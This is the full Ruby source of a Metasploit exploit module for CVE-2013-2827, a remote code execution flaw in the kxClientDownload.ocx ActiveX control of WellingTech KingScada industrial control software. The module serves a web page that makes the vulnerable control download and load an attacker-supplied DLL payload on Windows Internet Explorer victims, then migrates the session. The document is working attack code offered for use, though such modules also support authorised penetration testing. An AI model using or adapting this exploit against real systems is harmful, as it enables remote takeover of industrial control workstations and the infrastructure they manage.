KingScada – kxClientDownload.ocx ActiveX Remote Code Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution', 'Description' => %q{ This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada. The ProjectURL property can be abused to download and load arbitrary DLLs from arbitrary locations, leading to arbitrary code execution, because of a dangerous usage of LoadLibrary. Due to the nature of the vulnerability, this module will work only when Protected Mode is not present or not enabled. }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrea Micalizzi', # aka rgod original discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2013-2827'], ['OSVDB', '102135'], ['BID', '64941'], ['ZDI', '14-011'], ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01'] ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', }, 'BrowserRequirements' => { :source => /script|headers/i, :os_name => Msf::OperatingSystems::WINDOWS, :ua_name => /MSIE|KXCLIE/i }, 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, 'DisableNopes' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 14 2014')) end def on_request_exploit(cli, request, target_info) print_status("Requested: #{request.uri}") if request.uri =~ /\/libs\/.*\.dll/ print_good("Sending DLL payload") send_response(cli, generate_payload_dll(:code => get_payload(cli, target_info)), 'Content-Type' => 'application/octet-stream' ) return elsif request.uri =~ /\/libs\// print_status("Sending not found") send_not_found(cli) return end content = <<-EOS <html> <body> <object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'> <param name="ProjectURL" value="#{get_module_uri}"></param> </object> </body> </html> EOS print_status("Sending #{self.name}") send_response_html(cli, content) end end |